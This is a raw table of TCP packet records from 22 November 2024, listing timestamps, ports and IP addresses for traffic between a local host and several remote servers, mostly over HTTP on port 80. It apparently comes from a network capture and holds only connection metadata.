Nov 22, 2024 00:11:55.781150103 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.781220913 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.781269073 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.782207966 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.782258987 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.782295942 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.782357931 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.783348083 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.783477068 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.783526897 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.784431934 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.784485102 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.784595013 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.784642935 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.785514116 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.785574913 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.785640955 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.785685062 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.786623001 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.786665916 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.786736965 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.786936998 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.787698984 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.787703991 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.787801981 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.787848949 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.788817883 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.788872957 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.788954973 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.789098978 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.789978027 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.790038109 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.790168047 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.790266991 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.790987968 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.791115046 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.791167021 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.792099953 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.792124033 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.792187929 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.792187929 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.793154001 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.793199062 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.793267012 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.793317080 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.794270992 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.794336081 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.794419050 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.794461012 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.795357943 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.795432091 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.795474052 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.795520067 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.796499014 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.796601057 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.796632051 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.796648026 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.797575951 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.797672987 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.797729015 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.798665047 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.798719883 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.798774958 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.798826933 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.799752951 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.799829006 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.799866915 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.800057888 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.800848007 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.800901890 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.801019907 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.801064968 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.801919937 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.801975012 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.802057028 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.802104950 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.803036928 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.803098917 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.803147078 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.803196907 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.804112911 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.804217100 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.804250956 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.804269075 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.805232048 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.805290937 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.805325985 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.805366039 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.806301117 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.806418896 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.806452036 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.806468964 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.807388067 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.807450056 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.807487965 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.807584047 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.808547020 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.808666945 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.808696985 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.808727980 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.809649944 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.809762001 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.809986115 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.810686111 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.810808897 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.810861111 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.811786890 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.811887980 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.811950922 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.812968016 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.813076019 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.813133001 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.813982010 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.814075947 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.814338923 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.815191031 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.815203905 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.815210104 CET	443	49870	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:55.815243959 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.815268993 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.815282106 CET	443	49870	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:55.815650940 CET	49870	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:55.816453934 CET	49870	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:55.816472054 CET	443	49870	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:55.816504002 CET	49870	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:55.816509008 CET	443	49870	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:55.821141005 CET	49883	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:55.821182966 CET	443	49883	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:55.821408033 CET	49883	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:55.821585894 CET	49883	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:55.821598053 CET	443	49883	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:55.851433039 CET	443	49879	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:55.851778984 CET	49879	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:55.851798058 CET	443	49879	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:55.853239059 CET	443	49879	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:55.853305101 CET	49879	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:55.853795052 CET	49879	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:55.853873968 CET	443	49879	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:55.853952885 CET	49879	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:55.860125065 CET	443	49878	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:55.860357046 CET	49878	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:55.860374928 CET	443	49878	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:55.861390114 CET	443	49878	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:55.861449957 CET	49878	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:55.861835003 CET	49878	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:55.861896992 CET	443	49878	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:55.862123013 CET	49878	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:55.862131119 CET	443	49878	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:55.894004107 CET	49879	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:55.894018888 CET	443	49879	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:55.906259060 CET	49884	443	192.168.2.5	52.168.117.168
Nov 22, 2024 00:11:55.906287909 CET	443	49884	52.168.117.168	192.168.2.5
Nov 22, 2024 00:11:55.906364918 CET	49884	443	192.168.2.5	52.168.117.168
Nov 22, 2024 00:11:55.906675100 CET	49884	443	192.168.2.5	52.168.117.168
Nov 22, 2024 00:11:55.906689882 CET	443	49884	52.168.117.168	192.168.2.5
Nov 22, 2024 00:11:55.908046007 CET	443	49876	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:55.908360958 CET	49876	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:55.908370018 CET	443	49876	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:55.908730984 CET	443	49876	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:55.909079075 CET	49876	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:55.909145117 CET	443	49876	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:55.909220934 CET	49876	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:55.911473036 CET	49878	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:55.923032999 CET	443	49875	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:55.927414894 CET	49875	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:55.927432060 CET	443	49875	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:55.928399086 CET	49875	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:55.928404093 CET	443	49875	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:55.943481922 CET	49879	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:55.951338053 CET	443	49876	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:55.958501101 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.958575010 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.958606005 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.958832026 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.959017992 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.959268093 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.959300041 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.959332943 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.959358931 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.959428072 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.960366011 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.960426092 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.960433006 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.960498095 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.961376905 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.961460114 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.963274956 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.963350058 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.963376999 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.963428020 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.963816881 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.963864088 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.963954926 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.964072943 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.964905977 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.964951992 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.965038061 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.965116978 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.966114998 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.966207981 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.966209888 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.966286898 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.967137098 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.967195988 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.967205048 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.967422009 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.977230072 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.977245092 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.977310896 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.977431059 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.977446079 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.977494001 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.977503061 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.977510929 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.977534056 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.977562904 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.977626085 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.977628946 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.977643967 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.977658987 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.977665901 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.977679014 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.977682114 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.977696896 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.977725029 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.977725029 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.977752924 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.977758884 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.977768898 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.977783918 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.977794886 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.977798939 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.977814913 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.977822065 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.977844954 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.977886915 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.978260994 CET	49885	443	192.168.2.5	20.75.60.91
Nov 22, 2024 00:11:55.978295088 CET	443	49885	20.75.60.91	192.168.2.5
Nov 22, 2024 00:11:55.978368998 CET	49885	443	192.168.2.5	20.75.60.91
Nov 22, 2024 00:11:55.978549957 CET	49885	443	192.168.2.5	20.75.60.91
Nov 22, 2024 00:11:55.978562117 CET	443	49885	20.75.60.91	192.168.2.5
Nov 22, 2024 00:11:55.978615999 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.978698015 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.978975058 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.979953051 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.980010033 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.980051994 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.980099916 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.980300903 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.980348110 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.980406046 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.980453968 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.983836889 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.983892918 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.983910084 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.983920097 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.983935118 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.983943939 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.983974934 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.984004974 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.984038115 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.984065056 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.984088898 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.984653950 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.984785080 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.984848976 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.985713959 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.985805035 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.985820055 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.985972881 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.986813068 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.986881018 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.987106085 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.987179995 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.988075972 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.988168955 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.988169909 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.988332033 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.989016056 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.989063978 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.989100933 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.989124060 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.990164995 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.990225077 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.990333080 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.990375042 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.991198063 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.991266012 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.991322041 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.991513014 CET	443	49880	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:55.991573095 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.991929054 CET	49880	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:55.991949081 CET	443	49880	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:55.992289066 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.992374897 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.992399931 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.992490053 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.993002892 CET	443	49880	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:55.993096113 CET	49880	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:55.993391037 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.993454933 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.993540049 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.993591070 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.993802071 CET	49880	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:55.993864059 CET	443	49880	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:55.993953943 CET	49880	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:55.994473934 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.994601965 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.994658947 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.995611906 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.995687008 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.995940924 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.995996952 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.996761084 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.996893883 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.996901989 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.997001886 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.997797966 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.997869015 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.997895956 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.997960091 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.998874903 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.998944044 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.999046087 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:55.999090910 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:55.999977112 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.000045061 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.000142097 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.000185966 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.001065969 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.001207113 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.001208067 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.001599073 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.002155066 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.002229929 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.002278090 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.003282070 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.003349066 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.003417015 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.003576994 CET	49788	80	192.168.2.5	185.215.113.206
